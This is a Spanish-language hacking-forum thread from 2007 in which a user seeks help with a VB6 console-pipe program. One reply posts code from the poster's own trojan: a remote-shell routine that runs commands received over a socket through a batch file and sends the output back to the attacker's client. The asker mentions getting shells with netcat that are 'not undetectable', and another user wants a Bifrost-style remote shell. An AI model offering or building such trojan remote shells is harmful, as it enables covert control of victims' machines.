elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  AyUdA!!!!plx! problema con cmd pipe en vb6 tengo el code y todo pero...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: AyUdA!!!!plx! problema con cmd pipe en vb6 tengo el code y todo pero...  (Leído 1,505 veces)
hepy_92

Desconectado Desconectado

Mensajes: 130



Ver Perfil
AyUdA!!!!plx! problema con cmd pipe en vb6 tengo el code y todo pero...
« en: 21 Abril 2007, 15:58 pm »

hace un tiempo postie en este foro para que alguien me ayudara a hacer cmd pipe.. y Sancho.Mazorka me dio este code
Código:
'Redirects output from console program to textbox.
'Requires two textboxes and one command button.
'Set MultiLine property of Text2 to true.
'
'Original bcx version of this program was made by
' dl <dl@tks.cjb.net>
'VB port was made by Jernej Simoncic <jernej@isg.si>
'Visit Jernejs site at http://www2.arnes.si/~sopjsimo/
'
'Note: don't run plain DOS programs with this example
'under Windows 95,98 and ME, as the program freezes when
'execution of program is finnished.

Option Explicit
Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As SECURITY_ATTRIBUTES, ByVal nSize As Long) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type SECURITY_ATTRIBUTES
  nLength As Long
  lpSecurityDescriptor As Long
  bInheritHandle As Long
End Type

Private Type PROCESS_INFORMATION
  hProcess As Long
  hThread As Long
  dwProcessId As Long
  dwThreadId As Long
End Type

Private Type STARTUPINFO
  cb As Long
  lpReserved As Long
  lpDesktop As Long
  lpTitle As Long
  dwX As Long
  dwY As Long
  dwXSize As Long
  dwYSize As Long
  dwXCountChars As Long
  dwYCountChars As Long
  dwFillAttribute As Long
  dwFlags As Long
  wShowWindow As Integer
  cbReserved2 As Integer
  lpReserved2 As Byte
  hStdInput As Long
  hStdOutput As Long
  hStdError As Long
End Type

Private Type OVERLAPPED
    ternal As Long
    ternalHigh As Long
    offset As Long
    OffsetHigh As Long
    hEvent As Long
End Type

Private Const STARTF_USESHOWWINDOW = &H1
Private Const STARTF_USESTDHANDLES = &H100
Private Const SW_HIDE = 0
Private Const EM_SETSEL = &HB1
Private Const EM_REPLACESEL = &HC2

Private Sub Command1_Click()
  Command1.Enabled = False
  Redirect Text1.Text, Text2
  Command1.Enabled = True
End Sub
Private Sub Form_Load()
    Text1.Text = "ping"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
  If Command1.Enabled = False Then Cancel = True
End Sub

Sub Redirect(cmdLine As String, objTarget As Object)
  Dim i%, t$
  Dim pa As SECURITY_ATTRIBUTES
  Dim pra As SECURITY_ATTRIBUTES
  Dim tra As SECURITY_ATTRIBUTES
  Dim pi As PROCESS_INFORMATION
  Dim sui As STARTUPINFO
  Dim hRead As Long
  Dim hWrite As Long
  Dim bRead As Long
  Dim lpBuffer(1024) As Byte
  pa.nLength = Len(pa)
  pa.lpSecurityDescriptor = 0
  pa.bInheritHandle = True
 
  pra.nLength = Len(pra)
  tra.nLength = Len(tra)

  If CreatePipe(hRead, hWrite, pa, 0) <> 0 Then
    sui.cb = Len(sui)
    GetStartupInfo sui
    sui.hStdOutput = hWrite
    sui.hStdError = hWrite
    sui.dwFlags = STARTF_USESHOWWINDOW Or STARTF_USESTDHANDLES
    sui.wShowWindow = SW_HIDE
    If CreateProcess(vbNullString, cmdLine, pra, tra, True, 0, Null, vbNullString, sui, pi) <> 0 Then
      SetWindowText objTarget.hwnd, ""
      Do
        Erase lpBuffer()
        If ReadFile(hRead, lpBuffer(0), 1023, bRead, ByVal 0&) Then
          SendMessage objTarget.hwnd, EM_SETSEL, -1, 0
          SendMessage objTarget.hwnd, EM_REPLACESEL, False, lpBuffer(0)
          DoEvents
        Else
          CloseHandle pi.hThread
          CloseHandle pi.hProcess
          Exit Do
        End If
        CloseHandle hWrite
      Loop
      CloseHandle hRead
    End If
  End If
End Sub
funciona pero el problema es que solo acepta los comandos como ping, netstat, y solo algunos mas...
los comandos mas utiles como dir no funcionan
ayer con un amigo que sabe sobre esto de la cmd y sus comandos me dijo que probara poniendo command.com pero tiraba error!
alguien me podria ayudar o orientar???
gracias de antemano!


En línea

Jareth


Desconectado Desconectado

Mensajes: 334



Ver Perfil
Re: AyUdA!!!!plx! problema con cmd pipe en vb6 tengo el code y todo pero...
« Respuesta #1 en: 21 Abril 2007, 16:56 pm »

Código:
Open "c:\test.bat" For Binary As #1
Put #1, , "@echo off" & vbCrLf
Put #1, , sdata(1) & ">>c:\log.txt" & vbCrLf
Put #1, , "exit"
Close #1
Open "c:\log.txt" For Input As #1
conten = Input(LOF(1), #1)
Close #1
WS.SendData "no|" & conten
Shell "c:\test.bat"
Kill "c:\test.bat"

Mira la remote shell de mi troyano(se puede optimizar en vez de crear bats hacer shell"" pero bueh...)lo que hago es desde el cliente enviar el comando,y como ves lo pone en un bat,esto:
Código:
>>c:\log.txt
previamente el comando lo que hace es guardar la respuesta en un archivo de texto situado en c: con nombre log.txt,bien pues luego lo leemos con el input,y lo enviamos al cliente y ya tenemos nuesra remote shell.
Ejecutamso el bat para que se ejecute el comando,y eliminamos luego el bat y el archivo de texto con el resultado.
Espero qeu te sirva saludos.


En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: AyUdA!!!!plx! problema con cmd pipe en vb6 tengo el code y todo pero...
« Respuesta #2 en: 21 Abril 2007, 17:01 pm »

Pero ese source valdria solo para comandos como dir y demas, habria algunos q no seria util usarlos desde ahí. Yo tb estoy buscando alo como el remote shell del bifrost, q sea = q la consola, q se vea la ruta desde la q se usa (lo de C:\ >) a ve si alguien sabe..
En línea

hepy_92

Desconectado Desconectado

Mensajes: 130



Ver Perfil
Re: AyUdA!!!!plx! problema con cmd pipe en vb6 tengo el code y todo pero...
« Respuesta #3 en: 21 Abril 2007, 17:05 pm »

esto podria servir, gracias
aunque me gustaba harto el otro metodo... y como dice EON, alguien sabria hacer cmd pipe i que se vea como la shell real??? por aora estoi sacando shell desde nc.. pero al parecer no es indetectable
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: AyUdA!!!!plx! problema con cmd pipe en vb6 tengo el code y todo pero...
« Respuesta #4 en: 21 Abril 2007, 18:22 pm »

Código:
Sub Redirect(cmdLine As String, objTarget As Object)

y segun ese codigo en el text pone ping, y segun esta funcion le pasa ping simplemente. ping se ejecuta y termina. ¿porque funciona ping y dir no? ves a inicio > ejecutar > ping localhost . te saldra una ventana con los resultados del ping. ahora la misma operacion pero con dir, te saldra un mensaje diciendo que windows no puede encontrar el archivo "dir". es decir ping es un programa externo no es un comando de la consola del sistema.

Código:
Private Sub Form_Load()
    Text1.Text = "ping"
End Sub

modificalo por

Código:
Private Sub Form_Load()
    Text1.Text = "cmd /c dir"
End Sub

veras como si fucniona el dir. si quieres una shell normal tienes que leer/escribir desde los pipes ya que para eso se crean.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema Analize code, desapareció « 1 2 »
Ingeniería Inversa
.:UND3R:. 12 4,691 Último mensaje 17 Agosto 2011, 23:05 pm
por .:UND3R:.
Pasar más de un int con una pipe
Programación C/C++
ithory 2 5,541 Último mensaje 15 Diciembre 2012, 13:23 pm
por ithory
pipe y QT!
Programación C/C++
febef 2 1,941 Último mensaje 17 Abril 2013, 01:26 am
por febef
Tengo un proyecto de script me coneta y todo pero me sale los packet escriptados
Hacking
peke-2011 0 2,006 Último mensaje 25 Julio 2015, 16:57 pm
por peke-2011
Ayuda con subprocess.Popen stdout=subprocess.PIPE
Scripting
rubia28 1 2,845 Último mensaje 9 Marzo 2021, 04:28 am
por tincopasan
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines